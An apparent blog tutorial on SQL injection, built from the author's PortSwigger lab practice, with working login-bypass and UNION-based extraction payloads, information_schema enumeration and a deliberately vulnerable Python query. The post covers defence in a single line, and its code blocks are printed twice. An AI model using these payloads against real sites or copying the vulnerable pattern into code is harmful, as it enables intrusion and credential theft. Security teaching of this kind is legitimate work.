June 2, 2026
SQL Injection in 2026: How It Works, How Hackers Exploit It, and How to Stop It
A practical guide for developers and security students who want to truly understand one of the most dangerous web vulnerabilities of all…
Gerard lonzi
4 min read
A practical guide for developers and security students who want to truly understand one of the most dangerous web vulnerabilities of all time.
The Attack That Never Gets Old
SQL Injection has been on the OWASP Top 10 list for over a decade. Despite being well-documented, it still causes massive data breaches every year. Why? Because developers keep making the same mistakes — and attackers keep taking advantage.
In this article, I'll walk you through exactly how SQL Injection works, demonstrate real exploitation techniques I practiced on PortSwigger Web Security Academy, and show you how to properly defend against it.
By the end, you'll understand not just what SQL Injection is — but why it works, how attackers think, and what you need to do to protect your applications.
What Is SQL Injection?
SQL Injection (SQLi) is an attack that allows a malicious user to interfere with the SQL queries an application sends to its database. Instead of submitting normal data, the attacker injects SQL code that changes the logic of the query.
Here's the simplest example possible:
sql
-- Normal query built by the app
SELECT * FROM users WHERE username = 'gerard' AND password = 'mypassword'
-- What happens when the attacker enters: admin'--
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
-- Everything after -- is a comment → password check is completely skipped!-- Normal query built by the app
SELECT * FROM users WHERE username = 'gerard' AND password = 'mypassword'
-- What happens when the attacker enters: admin'--
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
-- Everything after -- is a comment → password check is completely skipped!The attacker logs in as admin without knowing the password. Just like that.
Why Does It Happen?
The root cause is always the same: user input is directly concatenated into a SQL query without sanitization.
python
# ❌ VULNERABLE — never do this
username = request.form['username']
query = "SELECT * FROM users WHERE username = '" + username + "'"
db.execute(query)# ❌ VULNERABLE — never do this
username = request.form['username']
query = "SELECT * FROM users WHERE username = '" + username + "'"
db.execute(query)The application treats user input as trusted code instead of untrusted data. The database has no way to distinguish between the developer's SQL and the attacker's injected SQL — it executes everything it receives.
The Attacker's Mindset: Step by Step
Let me walk you through how an attacker systematically exploits a SQL Injection vulnerability. This is exactly the methodology I followed while working through PortSwigger labs.
Step 1 — Detect the Vulnerability
The first thing an attacker does is probe for vulnerabilities. The simplest test is a single quote:
https://shop.com/products?category=Gifts'https://shop.com/products?category=Gifts'If the application throws a database error like:
You have an error in your SQL syntax near '''' at line 1You have an error in your SQL syntax near '''' at line 1That's a strong signal the application is vulnerable. The single quote broke the SQL query syntax, revealing that user input is being inserted directly into the query.
Step 2 — Authentication Bypass
Once a vulnerability is confirmed, one of the simplest and most impactful attacks is bypassing a login form.
Payload entered in the username field:
administrator'--administrator'--What the database receives:
sql
SELECT * FROM users
WHERE username = 'administrator'--' AND password = 'whatever'SELECT * FROM users
WHERE username = 'administrator'--' AND password = 'whatever'The -- comments out the rest of the query. The password check never happens. The attacker is now logged in as administrator.
Other classic bypass payloads:
sql
' OR 1=1--
' OR '1'='1'--
admin'--' OR 1=1--
' OR '1'='1'--
admin'--UNION-Based Injection: Extracting Real Data
Authentication bypass is just the beginning. The real power of SQL Injection lies in data extraction. The UNION operator allows an attacker to append an entirely new SELECT query and retrieve data from any table in the database.
Stage 1: Count the Columns
Before using UNION, the attacker needs to know how many columns the original query returns. The technique is straightforward: increment an ORDER BY clause until the database throws an error.
Gifts' ORDER BY 1-- ✅ no error
Gifts' ORDER BY 2-- ✅ no error
Gifts' ORDER BY 3-- ✅ no error
Gifts' ORDER BY 4-- ❌ error → the table has exactly 3 columnsGifts' ORDER BY 1-- ✅ no error
Gifts' ORDER BY 2-- ✅ no error
Gifts' ORDER BY 3-- ✅ no error
Gifts' ORDER BY 4-- ❌ error → the table has exactly 3 columnsThen confirm with NULL values:
Gifts' UNION SELECT NULL-- ❌ error (1 ≠ 3)
Gifts' UNION SELECT NULL,NULL-- ❌ error (2 ≠ 3)
Gifts' UNION SELECT NULL,NULL,NULL-- ✅ success → 3 columns confirmedGifts' UNION SELECT NULL-- ❌ error (1 ≠ 3)
Gifts' UNION SELECT NULL,NULL-- ❌ error (2 ≠ 3)
Gifts' UNION SELECT NULL,NULL,NULL-- ✅ success → 3 columns confirmedWhy NULL? Because NULL is compatible with every data type — text, integer, date. Using a string like 'abc' in a numeric column would cause a type error.
Stage 2: Find Which Columns Are Displayed
A critical but often overlooked step: just because data is in the database response doesn't mean it's displayed on the webpage. The developer may only render 2 out of 3 columns in the HTML.
The technique: inject the string 'test' into each column position and check if it appears on the page.
Gifts' UNION SELECT 'test',NULL,NULL-- → 'test' appears on page? ✅ column 1 visible
Gifts' UNION SELECT NULL,'test',NULL-- → nothing appears? ❌ column 2 not rendered
Gifts' UNION SELECT NULL,NULL,'test'-- → 'test' appears on page? ✅ column 3 visibleGifts' UNION SELECT 'test',NULL,NULL-- → 'test' appears on page? ✅ column 1 visible
Gifts' UNION SELECT NULL,'test',NULL-- → nothing appears? ❌ column 2 not rendered
Gifts' UNION SELECT NULL,NULL,'test'-- → 'test' appears on page? ✅ column 3 visibleNow the attacker knows exactly which columns will surface their extracted data.
Stage 3: Extract the Data
With 2 visible columns (1 and 3), the attacker maps the target data accordingly:
Gifts' UNION SELECT username,NULL,password FROM users--Gifts' UNION SELECT username,NULL,password FROM users--The database executes:
sql
SELECT name, description, price FROM products WHERE category = 'Gifts'
UNION
SELECT username, NULL, password FROM users--SELECT name, description, price FROM products WHERE category = 'Gifts'
UNION
SELECT username, NULL, password FROM users--What appears on the page:
T-shirt £25.00
Mug £12.00
administrator s3cr3tpassw0rd ← extracted from users table
alice alice123 ← extracted from users tableT-shirt £25.00
Mug £12.00
administrator s3cr3tpassw0rd ← extracted from users table
alice alice123 ← extracted from users tableFull credential dump, straight on the product listing page.
Stage 4: Enumerate the Entire Database
The attacker doesn't stop at one table. Using information_schema, they can map the entire database structure:
sql
-- List all tables
' UNION SELECT table_name,NULL,NULL
FROM information_schema.tables
WHERE table_schema=database()--
-- Result: users, products, orders, admin_secrets...
-- List columns of a specific table
' UNION SELECT column_name,NULL,NULL
FROM information_schema.columns
WHERE table_name='users'--
-- Result: id, username, password, email, is_admin...-- List all tables
' UNION SELECT table_name,NULL,NULL
FROM information_schema.tables
WHERE table_schema=database()--
-- Result: users, products, orders, admin_secrets...
-- List columns of a specific table
' UNION SELECT column_name,NULL,NULL
FROM information_schema.columns
WHERE table_name='users'--
-- Result: id, username, password, email, is_admin...Stage 5: Extract System Information
Finally, the attacker identifies the database engine to tailor further attacks:
sql
-- MySQL / MariaDB
' UNION SELECT @@version,NULL,NULL--
-- PostgreSQL
' UNION SELECT version(),NULL,NULL--
-- Oracle
' UNION SELECT banner,NULL,NULL FROM v$version---- MySQL / MariaDB
' UNION SELECT @@version,NULL,NULL--
-- PostgreSQL
' UNION SELECT version(),NULL,NULL--
-- Oracle
' UNION SELECT banner,NULL,NULL FROM v$version--Conclusion
Identifying the database engine allows attackers to launch version-specific exploits. This underscores why using prepared statements is an absolute necessity.
💬 Enjoyed this?
- 👏 Clap & Share to help other developers find this guide.
- 💬 Comment below with your favorite method to prevent SQLi.
- 🔔 Follow my profile for more cybersecurity insights!